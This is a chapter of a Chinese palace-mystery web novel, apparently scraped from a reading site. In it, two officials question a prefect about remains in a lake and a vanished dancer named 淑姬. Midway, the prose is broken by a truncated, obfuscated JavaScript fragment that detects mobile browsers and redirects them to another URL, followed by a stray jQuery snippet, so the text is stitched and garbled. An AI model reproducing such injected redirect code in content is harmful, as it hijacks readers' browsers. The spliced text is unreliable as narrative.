“很久之前,晴州这一代都是宁国的国土。
“那时的霁湖还是宁国御花园里的御池,后妃、宫女在此游乐。
“直到后来——”
……
一朝国破。
往日的皇家宫殿威仪不再,一片火光冲天,哀号声四起,最终淹没在阵阵喊杀声中。
她们要面对的,是那些人肆无忌惮的烧杀抢掠。
她们毅然决然拿起了兵刃。
从那一刻起,她们不再是后妃、宫女,而是在最后一刻守护家国的义士。
可是她们知道,无论怎样,她们注定改变不了亡国的结局。
最后的那些宫中女眷宁死不屈,纷纷投身湖中。
*
“芙蓉如面美人妆,露珠犹似泪盈裳。可怜池边旧时梦,梦中尤是脂粉香。”
语毕,四人皆是叹息。
江清月突然开口,打破了沉默:“既然如此,何不趁着清淤,将湖中的尸骨打捞出来,另寻一处地方好生安葬?也算是不枉义士。”
“有理。”宋观云难得赞成。
“这……江大人,宋大人,有所不知,这件事情不是没有做过,只是劳民伤财不说,百姓又有诸多怨怼。
况且如今遇灾,因灾蠲免,库藏无入,钱粮匮乏……这怕是……”
“这样啊。”宋观云平静地啜了口茶,“按你说,湖中三千宫女,怪不得常常淤堵,你们清了这么多年,就没清出什么来?”
“自然是有的……只是不多……但、都有好好安葬!况且二位大人,那只是个传说。”
“不多是多少?葬在何处?我和宋大人也想去吊唁一番。”江清月也看向了吴知府。
一时间,两人的目光齐聚在吴知府身上。
“就在霁湖东边!约莫就一两副……但都是零碎残缺的。下官也不好说是不是……”
宋观云突然站起身来,看向江清月:“走,去看看。”
“诶,大人!早膳……”
“不吃了,正好看看清淤做的如何了。”江清月也站起来。
*
从霁湖堤上望去,一片波光,丛丛荷碧。
少许小舟载着人,在湖面游动。
“二位大人,这眼下快到采莲的季节了,清淤的工作也难进行。我们主要疏通的地方还是在霁湖下游的河流,不是在霁湖。”
“看看骨头。”
江清月无语,宋观云说话能不能不要这么……露骨。
见吴知府不回应,宋观云追问道:“怎么,还没捞上来?”
“已经在派专人打捞了。”吴知府无奈赔笑。
“行,下午本官要见着。”宋观云的语气已然是命令。
“还有那几个孩子。”江清月补充。
“是、是。”知府额头上渗出汗来。
“大人——”
不远处,一名女子朝这边挥起帕子。
吴知府暗暗松了一口气。
女子走上前来,朝三人一拜,笑盈盈的,看起来尚且年轻,与吴知府年龄有不小的差距。
“见过二位大人,大人万福。”
吴知府连忙介绍:“下官拙荆。不懂规矩,唐突了二位大人。”
“才没有呢!”吴夫人不满地嚷嚷,“二位大人为妾身评评理,他一天天的净说我!”
“吴大人和夫人倒是琴瑟和鸣。”宋观云语气平淡,听不出情绪。
江清月总感觉宋观云说话像在阴阳怪气。
他没有什么表情时像,笑着的话就更像了。
至于生气……她倒是还没见过他生气。
“江大人、宋大人。”吴夫人甜甜地笑着看向江清月,“府上有几个不老实的奴才偷了府上财物就要跑,恳请大人让妾身把吴大人带回去决断,好不好?”
江清月点点头:“去吧。”
吴大人走后,宋观云突然侧首看向她:“你不该放他们走。他们这会该商量着怎么找对策了。”
“你当时怎么不说?”江清月没好气地回他。
“我想着江大人应该有其他安排才对,况且……”宋观云忽然笑了。
“吴夫人没有问我啊。”
*
吴大人府上。
“完了,湖中那个被发现了!”吴知府心有余悸一般,“他们两个一直在逼问我。还好你来了。”
“急什么!”吴夫人高声呵斥,“现在最重要的是不要让那两位京城来的知道了!”
“他们不会已经知道了吧?”吴知府想起那天在酒楼听到的戏,突然看向她。
“没人说,谁会知道?”吴夫人瞪他一眼。
“可是……”吴知府变得吞吞吐吐。
“有什么就说!”吴夫人不耐烦了。
“那个唱戏的……”
“啪!”
吴知府脸上瞬间多了个巴掌印子。
“好哇你吴管复!你当初不是说都解决了吗!现在突然冒出来一个!
“你你你……我早知道你是这样、这样妇人……我呸!丈夫之仁!
“我当初看上你真是瞎了眼了!”
“好了好了,小点声……”吴大人只好这么说着。
只是吴夫人的声音还没小下去,吴大人自己的声音倒不自觉变小了:
“你消点气……”
吴夫人一口茶灌下喉咙,冷静了些许。
“你别急,江大人不是太后派来的吗?他应该会帮我们。宋大人也会帮我们才对。”
“可是宋大人那个样子可不像要帮我们。”吴大人擦了擦额头上的汗。
吴夫人刀一般的眼神给了出去:“他不会发现你投了太后吧?”
*
另一边,江清月宋观云二人回到住处。
“按蒲音说的,那淑姬的尸骨在霁湖里也很久了,但……”
“倒也没有久到能和千百年前的相提并论。”宋观云接上她的话。
“这种仵作验的出来吗?”
“验的出来。”
两人对视一眼。
吴知府再这么样也不可能找来一副千百年前的女尸。
可他总不会就这样束手就擒。
“要是那尸体不是淑姬的呢?”
“你的意思是,吴知府要找个替死鬼?”宋观云双手抱胸,斜倚在床边。
“不排除这种可能。”江清月看向他,“得靠你了。”
“嗯?”宋观云微微挑眉。
“你官大。官大一级压死人。”
“哦……现在知道我官大了。”宋观云轻哼一声,“早些时候可没见你有这样你有这样的觉悟。”
江清月无奈,站起来给他规规矩矩行了一礼:“好了,是下官的不是,望宋大人大人不计小人过。”
以后定要他还回来!
*
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193312|197087||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“二位大人用完午膳了?下官……”吴知府还想说些什么,但瞥见宋观云后还是闭上了嘴。
让吴知府没想到的是,宋观云居然笑吟吟的,说话也变得格外亲切:
“小吴啊,来,坐。”他拍了拍身旁旁边的座位。
吴知府也顾不上他和宋观云的年龄差出一大截的事了,略显拘束地坐在了他的旁边。
“来,喝茶。”宋观云语气轻松,把面前的茶杯往前推了推。
“好,好。”吴知府微微颤抖的手端起了茶杯,在宋观云的注视下喝了一口。
“怎么了?别紧张嘛。”宋观云顿了顿,故意观察了下他的表情,“其实呢,本官有点事想你帮忙。”
吴知府立刻放下茶杯,松了口气:“大人尽管吩咐,下官一定不遗余力去做。”
“去做?”
“做成、做成!”
宋观云满意地点点头,转头看向坐在两人对面的江清月。
江清月眉心一跳。
宋观云眼睛笑眯眯地看着她,活像只算计的狐狸。
他拍了拍吴知府:“江大人来了这几日,深感寂寞……”
?
江清月差点被茶水呛到。
原来商量好的词不是这样啊!
“我们在京城就听说晴州有个舞女,舞姿曼妙,名动天下……”
这下轮到吴知府眉心突突了。
“叫什么……淑姬?
“对吧,江大人。”
“是。”
“怎么了,吴大人?”宋观云看见满头大汗的吴知府,手从他肩上移开,转头吩咐站在门边的小厮。
“把匣子里的冰添一些,拿条帕子来,再给吴大人扇扇风,看大人都热成什么样了……”
宋观云说完,接过小厮递过来的帕子,故作贴心地帮他擦了擦额头上的汗。
“大人大人,不、不可……我来我来……”吴知府几乎是抢过了宋观云手上的帕子。
宋观云拿出自己的帕子,慢条斯理地擦了擦手。
吴知府的帕子从额头擦着擦着就到眼睛去了,擦着眼睛,就怎么也擦不完了。
“吴大人?”宋观云见他低下了头,故意凑到他的面前,声音都放轻了许多。
吴知府声音哽咽:“实不相瞒……这个淑姬,其实是我的妻子……
“我曾经的妻子。
“多年前,我与淑姬相识,那时她还是舞坊的舞女,我也还只是一个书生。
“后来我们渐渐熟悉,她名气渐涨,我也做了官……
“本以为我们能一直这样安安稳稳地过下去,直到京城来的一位贵人……”
……
“你的意思是,淑姬和京城的贵人走了?”江清月紧紧盯着吴知府。
“也许吧。从那以后,我再没有见过她。”吴知府的帕子盖住了整张脸。
宋观云重重地叹了一口气:“可怜吴大人一片痴情。既然这样,只好委屈江大人几天了。
“对了,我和江大人下午有点事,骨头,明天早上再看。”
吴大人暗暗松了口气。
*
“今晚去吴大人府上,扮做淑姬去?
“谁扮?”江清月看着宋观云和蒲音。
宋观云看了她一眼,嘴角微勾,手飞快地摸了下鼻子,别过脸去,没再说话。
“江大人,您的身形,确实很合适……”